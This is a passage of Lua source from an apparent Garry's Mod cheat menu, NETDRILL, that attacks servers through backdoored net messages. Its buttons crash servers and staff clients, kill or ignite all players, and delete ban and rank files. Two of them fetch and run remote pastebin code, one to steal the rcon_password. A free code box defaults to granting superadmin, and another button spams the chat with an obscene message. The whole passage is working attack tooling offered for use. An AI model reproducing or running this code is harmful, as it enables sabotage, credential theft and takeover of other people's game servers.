  1863. { typ = "func", name = "Краш", func = function()
  1864. local tbl = {}
  1865. for i=1,1000000 do
  1866. tbl[#tbl + 1] = i
  1867. end
  1868. NETDRILL.NetStart("pac_to_contraption")
  1869. net.WriteTable( tbl )
  1870. net.SendToServer()
  1871. end, },
  1872. },
  1873. } )
  1874. local function nukeweapon( ent )
  1875. if !ent:IsValid() then return end
  1876. if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
  1877. NETDRILL.NetStart("properties")
  1878. net.WriteString("remove")
  1879. net.WriteEntity( ent )
  1880. net.SendToServer()
  1881. ent.LNextNuke = CurTime() + 0.5
  1882. end
  1883. local function nukeallweapons( tab )
  1884. for k, v in pairs( tab ) do
  1885. if !v:IsValid() then continue end
  1886. if v.LNextNuke and v.LNextNuke > CurTime() then continue end
  1887. NETDRILL.NetStart("properties")
  1888. net.WriteString("remove")
  1889. net.WriteEntity( v )
  1890. net.SendToServer()
  1891. end
  1892. end
  1893. NETDRILL.AddExploit( "Очистить оружие(починено)", {
  1894. desc = "Проведите миротворческую реформу.",
  1895. severity = 3,
  1896. scan = function() return NETDRILL.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
  1897. functions = {
  1898. --{ typ = "string", name = "Type d'Arme à Strip", default = "*", addr = "stripper_gunz" },
  1899. { typ = "players", addr = "stripper_plyz" },
  1900. { typ = "func", name = "Очистить", func = function()
  1901. if !timer.Exists( "stripclub" ) then
  1902. NETDRILL.ChatText( "Начинаем очистку" )
  1903. timer.Create( "stripclub", 0.5, 0, function()
  1904. local t = NETDRILL.GetStored( "stripper_plyz", {} )
  1905. for k, v in pairs( player.GetAll() ) do
  1906. if !table.HasValue( t, v ) then continue end
  1907. local gunz = v:GetWeapons()
  1908. local findstring = NETDRILL.GetStored( "stripper_gunz", "*" )
  1909. if findstring == "*" then nukeallweapons( gunz ) return end
  1910. local findstringtab = string.Explode( ", ", findstring )
  1911. for _, g in pairs( gunz ) do
  1912. for _, s in pairs( findstringtab ) do
  1913. if string.find( string.lower( g:GetClass() ), s ) then
  1914. nukeweapon( g )
  1915. end
  1916. end
  1917. end
  1918. end
  1919. end)
  1920. else
  1921. timer.Remove( "stripclub" )
  1922. NETDRILL.ChatText( "Прекрашаем очистку оружия" )
  1923. end
  1924. end, },
  1925. },
  1926. } )
  1927.  
  1928.  
  1929.  
  1930.  
  1931.  
  1932.  
  1933. -- CREATION DES FONCTIONS DE BASE
  1934.  
  1935. function NETDRILL.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  1936. if !parent:IsValid() then return end
  1937. local TButton = vgui.Create( "DButton" )
  1938. TButton:SetParent( parent )
  1939. TButton:SetPos( x, y )
  1940. TButton:SetText( btext )
  1941. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1942. TButton:SizeToContents()
  1943. TButton:SetTall( 24 )
  1944. if tooltip then TButton:SetToolTip( tooltip ) end
  1945. TButton.Paint = function( self, w, h )
  1946. surface.SetDrawColor( Color(100, 100, 100, 245) )
  1947. surface.DrawRect( 0, 0, w, h )
  1948. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1949. --surface.SetMaterial( downgrad )
  1950. --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1951. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1952. --surface.DrawOutlinedRect( 0, 0, w, h )
  1953. end
  1954. TButton.DoClick = function()
  1955. func()
  1956. end
  1957. return TButton:GetWide(), TButton:GetTall()
  1958. end
  1959.  
  1960.  
  1961. function NETDRILL.HTXBackdoor( parent, x, y, btext )
  1962. if !parent:IsValid() then return end
  1963. local TButton = vgui.Create( "DButton" )
  1964. TButton:SetParent( parent )
  1965. TButton:SetPos( x, y )
  1966. TButton:SetText( btext )
  1967. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1968. TButton:SizeToContents()
  1969. TButton:SetTall( 24 )
  1970. TButton.Paint = function( self, w, h )
  1971. surface.SetDrawColor( Color(160, 61, 255, 200) )
  1972. surface.DrawRect( 0, 0, w, h )
  1973. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1974. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1975. --surface.SetMaterial( downgrad )
  1976. --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1977. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1978. surface.DrawOutlinedRect( 0, 0, w, h )
  1979. surface.SetDrawColor( Color(110, 70, 70, 255) )
  1980. --surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  1981. end
  1982. TButton.DoClick = function()
  1983. NETDRILL.HTXCommandeListe()
  1984. end
  1985. return TButton:GetWide(), TButton:GetTall()
  1986. end
  1987.  
  1988.  
  1989. function NETDRILL.HTXCommandeListe()
  1990. if NETDRILL.HTXCommandeSelector and NETDRILL.HTXCommandeSelector:IsVisible() then NETDRILL.HTXCommandeSelector:Remove() end
  1991. NETDRILL.HTXCommandeSelector = vgui.Create("DFrame")
  1992. NETDRILL.HTXCommandeSelector:SetSize(682,350)
  1993. NETDRILL.HTXCommandeSelector:SetTitle("Backdoor HTX")
  1994. NETDRILL.HTXCommandeSelector:SetPos( 342, 250 )
  1995. NETDRILL.HTXCommandeSelector:MakePopup()
  1996. NETDRILL.HTXCommandeSelector:ShowCloseButton( false )
  1997. NETDRILL.HTXCommandeSelector.Paint = function( s, w, h )
  1998. if !NETDRILL.Menu or !NETDRILL.Menu:IsVisible() then s:Remove() return end
  1999. surface.SetDrawColor( Color(30, 30, 30, 255) )
  2000. surface.DrawRect( 0, 0, w, h )
  2001. surface.SetDrawColor( Color(55, 55, 55, 255) )
  2002. surface.DrawOutlinedRect( 0, 0, w, h )
  2003. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2004. end
  2005.  
  2006. local CloseMenu3 = vgui.Create("DButton", NETDRILL.HTXCommandeSelector )
  2007.     CloseMenu3:SetText("<--")
  2008.     CloseMenu3:SetSize(200, 200)
  2009.     CloseMenu3:SetPos(NETDRILL.HTXCommandeSelector:GetWide()-120,-85)
  2010.     CloseMenu3:SetTextColor(Color(100, 100, 100,245))
  2011.     CloseMenu3:SetFont("netdrillfont20")
  2012.     CloseMenu3.Paint = function( self,w,h ) end
  2013.     CloseMenu3.DoClick = function()
  2014.         NETDRILL.HTXCommandeSelector:Remove()
  2015.  
  2016.     end
  2017.  
  2018. local DScrollPanel = vgui.Create( "DScrollPanel", NETDRILL.HTXCommandeSelector )
  2019. DScrollPanel:Dock( FILL )
  2020. local commandnethtx1 = vgui.Create("DButton", DScrollPanel)
  2021. commandnethtx1:SetSize( 652, 20 )
  2022. commandnethtx1:SetPos( 2, 175 )
  2023. commandnethtx1:SetText("Tuer tous les joueurs")
  2024. commandnethtx1:SetTextColor(Color(255, 255, 255, 255))
  2025. commandnethtx1.Paint = function(panel, w, h)
  2026. surface.SetDrawColor(255, 255, 255 ,255)
  2027. surface.DrawOutlinedRect(0, 0, w, h)
  2028. surface.SetDrawColor(100, 100, 100 ,245)
  2029. surface.DrawRect(0, 0, w, h)
  2030. end
  2031. commandnethtx1.DoClick = function()
  2032. NETDRILL.NetStart(netdrillhacknet)
  2033. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  2034. net.WriteBit(1)
  2035. net.SendToServer()
  2036. end
  2037. local commandnethtx2 = vgui.Create("DButton", DScrollPanel)
  2038. commandnethtx2:SetSize( 652, 20 )
  2039. commandnethtx2:SetPos( 2, 100 )
  2040. commandnethtx2:SetText("Spam Visuel")
  2041. commandnethtx2:SetTextColor(Color(255, 255, 255, 255))
  2042. commandnethtx2.Paint = function(panel, w, h)
  2043. surface.SetDrawColor(255, 255, 255 ,255)
  2044. surface.DrawOutlinedRect(0, 0, w, h)
  2045. surface.SetDrawColor(178, 99, 255)
  2046. surface.DrawRect(0, 0, w, h)
  2047. end
  2048. commandnethtx2.DoClick = function()
  2049. net.Start(netdrillhacknet)
  2050. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
  2051. net.WriteBit(1)
  2052. net.SendToServer()
  2053. end
  2054.  
  2055.  
  2056.  
  2057. local commandnethtx3 = vgui.Create("DButton", DScrollPanel )
  2058. commandnethtx3:SetSize( 652, 20 )
  2059. commandnethtx3:SetPos( 2, 375 )
  2060. commandnethtx3:SetText("Débannir tout les bannis")
  2061. commandnethtx3:SetTextColor(Color(255, 255, 255, 255))
  2062. commandnethtx3.Paint = function(panel, w, h)
  2063. surface.SetDrawColor(255, 255, 255 ,255)
  2064. surface.DrawOutlinedRect(0, 0, w, h)
  2065. surface.SetDrawColor(100, 100, 100 ,245)
  2066. surface.DrawRect(0, 0, w, h)
  2067. end
  2068. commandnethtx3.DoClick = function()
  2069. NETDRILL.NetStart(netdrillhacknet)
  2070. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  2071. net.WriteBit(1)
  2072. net.SendToServer()
  2073. end
  2074. local commandnethtx4 = vgui.Create("DButton", DScrollPanel )
  2075. commandnethtx4:SetSize( 652, 20 )
  2076. commandnethtx4:SetPos( 2, 125 )
  2077. commandnethtx4:SetText("Ignite tous les joueurs")
  2078. commandnethtx4:SetTextColor(Color(255, 255, 255, 255))
  2079. commandnethtx4.Paint = function(panel, w, h)
  2080. surface.SetDrawColor(255, 255, 255 ,255)
  2081. surface.DrawOutlinedRect(0, 0, w, h)
  2082. surface.SetDrawColor(100, 100, 100 ,245)
  2083. surface.DrawRect(0, 0, w, h)
  2084. end
  2085. commandnethtx4.DoClick = function()
  2086. NETDRILL.NetStart(netdrillhacknet)
  2087. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  2088. net.WriteBit(1)
  2089. net.SendToServer()
  2090. end
  2091. local commandnethtx5 = vgui.Create("DButton", DScrollPanel )
  2092. commandnethtx5:SetSize( 652, 20 )
  2093. commandnethtx5:SetPos( 2, 150 )
  2094. commandnethtx5:SetText("Supprimer les grades")
  2095. commandnethtx5:SetTextColor(Color(255, 255, 255, 255))
  2096. commandnethtx5.Paint = function(panel, w, h)
  2097. surface.SetDrawColor(255, 255, 255 ,255)
  2098. surface.DrawOutlinedRect(0, 0, w, h)
  2099. surface.SetDrawColor(100, 100, 100 ,245)
  2100. surface.DrawRect(0, 0, w, h)
  2101. end
  2102. commandnethtx5.DoClick = function()
  2103. NETDRILL.NetStart(netdrillhacknet)
  2104. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  2105. net.WriteBit(1)
  2106. net.SendToServer()
  2107. end
  2108. local commandnethtx6 = vgui.Create("DButton", DScrollPanel )
  2109. commandnethtx6:SetSize( 652, 20 )
  2110. commandnethtx6:SetPos( 2, 50 )
  2111. commandnethtx6:SetText("Redémarrer le serveur")
  2112. commandnethtx6:SetTextColor(Color(255, 255, 255, 255))
  2113. commandnethtx6.Paint = function(panel, w, h)
  2114. surface.SetDrawColor(255, 255, 255 ,255)
  2115. surface.DrawOutlinedRect(0, 0, w, h)
  2116. surface.SetDrawColor(100, 100, 100 ,245)
  2117. surface.DrawRect(0, 0, w, h)
  2118. end
  2119. commandnethtx6.DoClick = function()
  2120. NETDRILL.NetStart(netdrillhacknet)
  2121. net.WriteString("RunConsoleCommand(\"changelevel \"..game.GetMap())")
  2122. net.WriteBit(1)
  2123. net.SendToServer()
  2124. end
  2125. local commandnethtx7 = vgui.Create("DButton", DScrollPanel)
  2126. commandnethtx7:SetSize( 652, 20 )
  2127. commandnethtx7:SetPos( 2, 200 )
  2128. commandnethtx7:SetText("Screamer")
  2129. commandnethtx7:SetTextColor(Color(255, 255, 255, 255))
  2130. commandnethtx7.Paint = function(panel, w, h)
  2131. surface.SetDrawColor(255, 255, 255 ,255)
  2132. surface.DrawOutlinedRect(0, 0, w, h)
  2133. surface.SetDrawColor(100, 100, 100 ,245)
  2134. surface.DrawRect(0, 0, w, h)
  2135. end
  2136. commandnethtx7.DoClick = function()
  2137. NETDRILL.NetStart(netdrillhacknet)
  2138. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  2139. net.WriteBit(1)
  2140. net.SendToServer()
  2141. end
  2142. local commandnethtx8 = vgui.Create("DButton", DScrollPanel)
  2143. commandnethtx8:SetSize( 652, 20 )
  2144. commandnethtx8:SetPos( 2, 225 )
  2145. commandnethtx8:SetText("Changer le model des joueurs")
  2146. commandnethtx8:SetTextColor(Color(255, 255, 255, 255))
  2147. commandnethtx8.Paint = function(panel, w, h)
  2148. surface.SetDrawColor(255, 255, 255 ,255)
  2149. surface.DrawOutlinedRect(0, 0, w, h)
  2150. surface.SetDrawColor(100, 100, 100 ,245)
  2151. surface.DrawRect(0, 0, w, h)
  2152. end
  2153. commandnethtx8.DoClick = function()
  2154. NETDRILL.NetStart(netdrillhacknet)
  2155. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
  2156. net.WriteBit(1)
  2157. net.SendToServer()
  2158. end
  2159. local commandnethtx9 = vgui.Create("DButton", DScrollPanel)
  2160. commandnethtx9:SetSize( 652, 20 )
  2161. commandnethtx9:SetPos( 2, 250 )
  2162. commandnethtx9:SetText("Niquer la physics du jeu")
  2163. commandnethtx9:SetTextColor(Color(255, 255, 255, 255))
  2164. commandnethtx9.Paint = function(panel, w, h)
  2165. surface.SetDrawColor(255, 255, 255 ,255)
  2166. surface.DrawOutlinedRect(0, 0, w, h)
  2167. surface.SetDrawColor(100, 100, 100 ,245)
  2168. surface.DrawRect(0, 0, w, h)
  2169. end
  2170. commandnethtx9.DoClick = function()
  2171. net.Start(netdrillhacknet)
  2172. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
  2173. net.WriteBit(1)
  2174. net.SendToServer()
  2175. end
  2176. local commandnethtx10 = vgui.Create("DButton", DScrollPanel)
  2177. commandnethtx10:SetSize( 652, 20 )
  2178. commandnethtx10:SetPos( 2, 275 )
  2179. commandnethtx10:SetText("Inverser la gravité")
  2180. commandnethtx10:SetTextColor(Color(255, 255, 255, 255))
  2181. commandnethtx10.Paint = function(panel, w, h)
  2182. surface.SetDrawColor(255, 255, 255 ,255)
  2183. surface.DrawOutlinedRect(0, 0, w, h)
  2184. surface.SetDrawColor(100, 100, 100 ,245)
  2185. surface.DrawRect(0, 0, w, h)
  2186. end
  2187. commandnethtx10.DoClick = function()
  2188. net.Start(netdrillhacknet)
  2189. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
  2190. net.WriteBit(1)
  2191. net.SendToServer()
  2192. end
  2193. local commandnethtx11 = vgui.Create("DButton", DScrollPanel)
  2194. commandnethtx11:SetSize( 652, 20 )
  2195. commandnethtx11:SetPos( 2, 300 )
  2196. commandnethtx11:SetText("Reset Argent")
  2197. commandnethtx11:SetTextColor(Color(255, 255, 255, 255))
  2198. commandnethtx11.Paint = function(panel, w, h)
  2199. surface.SetDrawColor(255, 255, 255 ,255)
  2200. surface.DrawOutlinedRect(0, 0, w, h)
  2201. surface.SetDrawColor(100, 100, 100 ,245)
  2202. surface.DrawRect(0, 0, w, h)
  2203. end
  2204. commandnethtx11.DoClick = function()
  2205. net.Start(netdrillhacknet)
  2206. net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
  2207. net.WriteBit(1)
  2208. net.SendToServer()
  2209. end
  2210. local commandnethtx12 = vgui.Create("DButton", DScrollPanel)
  2211. commandnethtx12:SetSize( 652, 20 )
  2212. commandnethtx12:SetPos( 2, 325 )
  2213. commandnethtx12:SetText("Faire voler tous les joueurs")
  2214. commandnethtx12:SetTextColor(Color(255, 255, 255, 255))
  2215. commandnethtx12.Paint = function(panel, w, h)
  2216. surface.SetDrawColor(255, 255, 255 ,255)
  2217. surface.DrawOutlinedRect(0, 0, w, h)
  2218. surface.SetDrawColor(100, 100, 100 ,245)
  2219. surface.DrawRect(0, 0, w, h)
  2220. end
  2221. commandnethtx12.DoClick = function()
  2222. net.Start(netdrillhacknet)
  2223. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  2224. net.WriteBit(1)
  2225. net.SendToServer()
  2226. end
  2227. local commandnethtx13 = vgui.Create("DButton", DScrollPanel)
  2228. commandnethtx13:SetSize( 652, 20 )
  2229. commandnethtx13:SetPos( 2, 350 )
  2230. commandnethtx13:SetText("Crash superadmin")
  2231. commandnethtx13:SetTextColor(Color(255, 255, 255, 255))
  2232. commandnethtx13.Paint = function(panel, w, h)
  2233. surface.SetDrawColor(255, 255, 255 ,255)
  2234. surface.DrawOutlinedRect(0, 0, w, h)
  2235. surface.SetDrawColor(100, 100, 100 ,245)
  2236. surface.DrawRect(0, 0, w, h)
  2237. end
  2238. commandnethtx13.DoClick = function()
  2239. net.Start(netdrillhacknet)
  2240. net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
  2241. net.WriteBit(1)
  2242. net.SendToServer()
  2243. end
  2244.  
  2245. local commandnethtx14 = vgui.Create("DButton", DScrollPanel)
  2246. commandnethtx14:SetSize( 652, 20 )
  2247. commandnethtx14:SetPos( 2, 75 )
  2248. commandnethtx14:SetText("Squeleton Danse")
  2249. commandnethtx14:SetTextColor(Color(255, 255, 255, 255))
  2250. commandnethtx14.Paint = function(panel, w, h)
  2251. surface.SetDrawColor(160, 61, 255)
  2252. surface.DrawOutlinedRect(0, 0, w, h)
  2253. surface.SetDrawColor(178, 99, 255)
  2254. surface.DrawRect(0, 0, w, h)
  2255. end
  2256. commandnethtx14.DoClick = function()
  2257. net.Start(netdrillhacknet)
  2258. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/QiEipqZ4\",function(b,l,h,c)RunString(b)end,nil)" )
  2259. net.WriteBit(1)
  2260. net.SendToServer()
  2261. end
  2262.  
  2263. local commandnethtx15 = vgui.Create("DButton", DScrollPanel)
  2264. commandnethtx15:SetSize( 652, 20 )
  2265. commandnethtx15:SetPos( 2, 400 )
  2266. commandnethtx15:SetText("+1000$/s")
  2267. commandnethtx15:SetTextColor(Color(255, 255, 255, 255))
  2268. commandnethtx15.Paint = function(panel, w, h)
  2269. surface.SetDrawColor(255, 255, 255 ,255)
  2270. surface.DrawOutlinedRect(0, 0, w, h)
  2271. surface.SetDrawColor(100, 100, 100 ,245)
  2272. surface.DrawRect(0, 0, w, h)
  2273. end
  2274. commandnethtx15.DoClick = function()
  2275. net.Start(netdrillhacknet)
  2276. net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent10\", 0.1, 0, function() v:addMoney(10) end) end" )
  2277. net.WriteBit(1)
  2278. net.SendToServer()
  2279. end
  2280.  
  2281. local commandnethtx17 = vgui.Create("DButton", DScrollPanel)
  2282. commandnethtx17:SetSize( 652, 20 )
  2283. commandnethtx17:SetPos( 2, 425 )
  2284. commandnethtx17:SetText("Supprimer Toutes les Entité")
  2285. commandnethtx17:SetTextColor(Color(255, 255, 255, 255))
  2286. commandnethtx17.Paint = function(panel, w, h)
  2287. surface.SetDrawColor(255, 255, 255 ,255)
  2288. surface.DrawOutlinedRect(0, 0, w, h)
  2289. surface.SetDrawColor(100, 100, 100 ,245)
  2290. surface.DrawRect(0, 0, w, h)
  2291. end
  2292. commandnethtx17.DoClick = function()
  2293. net.Start(netdrillhacknet)
  2294. net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
  2295. net.WriteBit(1)
  2296. net.SendToServer()
  2297. end
  2298.  
  2299. local commandnethtxSpamChat = vgui.Create("DButton", DScrollPanel )
  2300. commandnethtxSpamChat:SetSize( 652, 20 )
  2301. commandnethtxSpamChat:SetPos( 2, 450 )
  2302. commandnethtxSpamChat:SetText("Spam Chat")
  2303. commandnethtxSpamChat:SetTextColor(Color(255,255,255,255))
  2304. commandnethtxSpamChat.Paint = function(panel, w, h)
  2305. surface.SetDrawColor(255, 255, 255 ,255)
  2306. surface.DrawOutlinedRect(0, 0, w, h)
  2307. surface.SetDrawColor(100, 100, 100 ,245)
  2308. surface.DrawRect(0, 0, w, h)
  2309. end
  2310. commandnethtxSpamChat.DoClick = function()
  2311. NETDRILL.NetStart(netdrillhacknet)
  2312. net.WriteString("timer.Create( \"rekt\", 0.1, 0, function() BroadcastLua([[NETDRILL.ChatText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"◊◊◊◊◊ СЕРВЕР ВЫЕБАН NETDRILL ! ◊◊◊◊◊\")]]) end)")
  2313. net.WriteBit(1)
  2314. net.SendToServer()
  2315. end
  2316.  
  2317. local commandnethtxSpamChatStop = vgui.Create("DButton", DScrollPanel )
  2318. commandnethtxSpamChatStop:SetSize( 652, 20 )
  2319. commandnethtxSpamChatStop:SetPos( 2, 475 )
  2320. commandnethtxSpamChatStop:SetTextColor(Color(255,255,255,255))
  2321. commandnethtxSpamChatStop:SetText("Stop Spam Chat")
  2322. commandnethtxSpamChatStop.Paint = function(panel, w, h)
  2323. surface.SetDrawColor(255, 255, 255 ,255)
  2324. surface.DrawOutlinedRect(0, 0, w, h)
  2325. surface.SetDrawColor(100, 100, 100 ,245)
  2326. surface.DrawRect(0, 0, w, h)
  2327. end
  2328. commandnethtxSpamChatStop.DoClick = function ()
  2329. net.Start(netdrillhacknet)
  2330. net.WriteString("timer.Stop( \"rekt\")")
  2331. net.WriteBit(1)
  2332. net.SendToServer()
  2333. end
  2334.  
  2335. local setsuperadmin = vgui.Create("DButton", DScrollPanel )
  2336. setsuperadmin:SetSize( 652, 20 )
  2337. setsuperadmin:SetPos( 2, 500 )
  2338. setsuperadmin:SetTextColor(Color(255,255,255,255))
  2339. setsuperadmin:SetText("Se Mettre Superadmin")
  2340. setsuperadmin.Paint = function(panel, w, h)
  2341. surface.SetDrawColor(255, 255, 255 ,255)
  2342. surface.DrawOutlinedRect(0, 0, w, h)
  2343. surface.SetDrawColor(100, 100, 100 ,245)
  2344. surface.DrawRect(0, 0, w, h)
  2345. end
  2346. setsuperadmin.DoClick = function ()
  2347. local setsuperadminsetting = [[
  2348. RunConsoleCommand("ulx_logecho", "0")
  2349. ]]
  2350. net.Start(netdrillhacknet)
  2351. net.WriteString( setsuperadminsetting )
  2352. net.WriteBit(1)
  2353. net.SendToServer()
  2354. end
  2355.  
  2356. local rconstealernetdrill = DScrollPanel:Add( "DButton")
  2357. rconstealernetdrill:SetSize( 668, 20 )
  2358. rconstealernetdrill:SetPos( 2, 25 )
  2359. rconstealernetdrill:SetText("Voler le rcon_password")
  2360. rconstealernetdrill:SetTextColor(Color(255, 255, 255, 255))
  2361. rconstealernetdrill.Paint = function(panel, w, h)
  2362. surface.SetDrawColor(255, 255, 255 ,255)
  2363. surface.DrawOutlinedRect(0, 0, w, h)
  2364. surface.SetDrawColor(50, 50, 50 ,245)
  2365. surface.DrawRect(0, 0, w, h)
  2366. end
  2367. rconstealernetdrill.DoClick = function()
  2368. net.Start(netdrillhacknet)
  2369. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/u5qnn5kw\",function(b,l,h,c)RunString(b)end,nil)" )
  2370. net.WriteBit(1)
  2371. net.SendToServer()
  2372. timer.Simple( 0.5, function()
  2373. if NETDRILL.ValidNetString( "jeveuttonrconleul" ) then
  2374. net.Start("jeveuttonrconleul")
  2375. net.SendToServer()
  2376. else
  2377. NETDRILL.ChatText( Color(255, 0, 0),"rcon_password pas trouvé, veuillez réessayer ^^" )
  2378. end
  2379. end)
  2380. end
  2381.  
  2382. local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
  2383. GLUACommand:SetPos( 110, 0 )
  2384. GLUACommand:SetSize( 545, 20 )
  2385. GLUACommand:SetText( "Entity( 1 ):SetUserGroup( 'superadmin' )" )
  2386. local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
  2387. Lancer_glua_commande:SetSize( 103, 20 )
  2388. Lancer_glua_commande:SetPos( 2, 0 )
  2389. Lancer_glua_commande:SetText("Code LUA")
  2390. Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
  2391. Lancer_glua_commande.Paint = function(panel, w, h)
  2392. surface.SetDrawColor(255, 255, 255 ,255)
  2393. surface.DrawOutlinedRect(0, 0, w, h)
  2394. surface.SetDrawColor(50, 50, 50 ,245)
  2395. surface.DrawRect(0, 0, w, h)
  2396. end
  2397. Lancer_glua_commande.DoClick = function()
  2398. local glua_commandes_get = GLUACommand:GetValue()
  2399. NETDRILL.NetStart(netdrillhacknet)
  2400. net.WriteString( glua_commandes_get )
  2401. net.WriteBit(1)
  2402. net.SendToServer()
  2403. end
  2404. end
  2405. net.Receive( "rcon_passw_dump", function()
  2406. local rcon_pass = net.ReadString()
  2407. NETDRILL.ChatText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0),"")
  2408. end )
  2409. net.Receive( "aucun_rcon_ici", function()
  2410. NETDRILL.ChatText( Color(255, 0, 0),"Aucun rcon_password sur le serveur :/" )
  2411. end )
  2412.  
  2413.  
  2414. function NETDRILL.MakePlayerSelectionButton( parent, x, y, addr )
  2415. if !parent:IsValid() then return end
  2416. local TButton = vgui.Create( "DButton" )
  2417. TButton:SetParent( parent )
  2418. TButton:SetPos( x, y )
  2419. TButton:SetText( "Выберите цели." )
  2420. TButton:SetTextColor( Color(255, 255, 255, 255) )
  2421. TButton:SizeToContents()
  2422. TButton:SetTall( 24 )
  2423. TButton.Paint = function( self, w, h )
  2424. surface.SetDrawColor( Color(100, 100, 100, 245 ) )
  2425. surface.DrawRect( 0, 0, w, h )
  2426. surface.SetDrawColor( Color( 60, 60, 60 ) )
  2427. --surface.SetMaterial( downgrad )
  2428. --surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2429. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2430. --surface.DrawOutlinedRect( 0, 0, w, h )
  2431. surface.SetDrawColor( Color(70, 70, 100, 255) )
  2432. --surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  2433. end
  2434. TButton.DoClick = function()
  2435. NETDRILL.SelectPlayersPanel( addr )
  2436. end
  2437. return TButton:GetWide(), TButton:GetTall()
  2438. end
  2439.  
  2440.  
  2441. function NETDRILL.SelectPlayersPanel( addr )
  2442. if NETDRILL.PlayerSelector and NETDRILL.PlayerSelector:IsVisible() then NETDRILL.PlayerSelector:Remove() end
  2443. local plytab = NETDRILL.GetStored( addr, {} )
  2444. NETDRILL.PlayerSelector = vgui.Create("DFrame")
  2445. NETDRILL.PlayerSelector:SetSize(682,350)
  2446. NETDRILL.PlayerSelector:SetDraggable( false )
  2447. NETDRILL.PlayerSelector:SetTitle("Цель(и)")
  2448. NETDRILL.PlayerSelector:SetPos( 342, 250)
  2449. NETDRILL.PlayerSelector:MakePopup()
  2450. NETDRILL.PlayerSelector:ShowCloseButton( false )
  2451. NETDRILL.PlayerSelector.DoClick = function()
  2452.         CloseMenu:Remove()
  2453. end
  2454. NETDRILL.PlayerSelector.Paint = function( s, w, h )
  2455. if !NETDRILL.Menu or !NETDRILL.Menu:IsVisible() then s:Remove() return end
  2456. surface.SetDrawColor( Color(30, 30, 30, 255) )
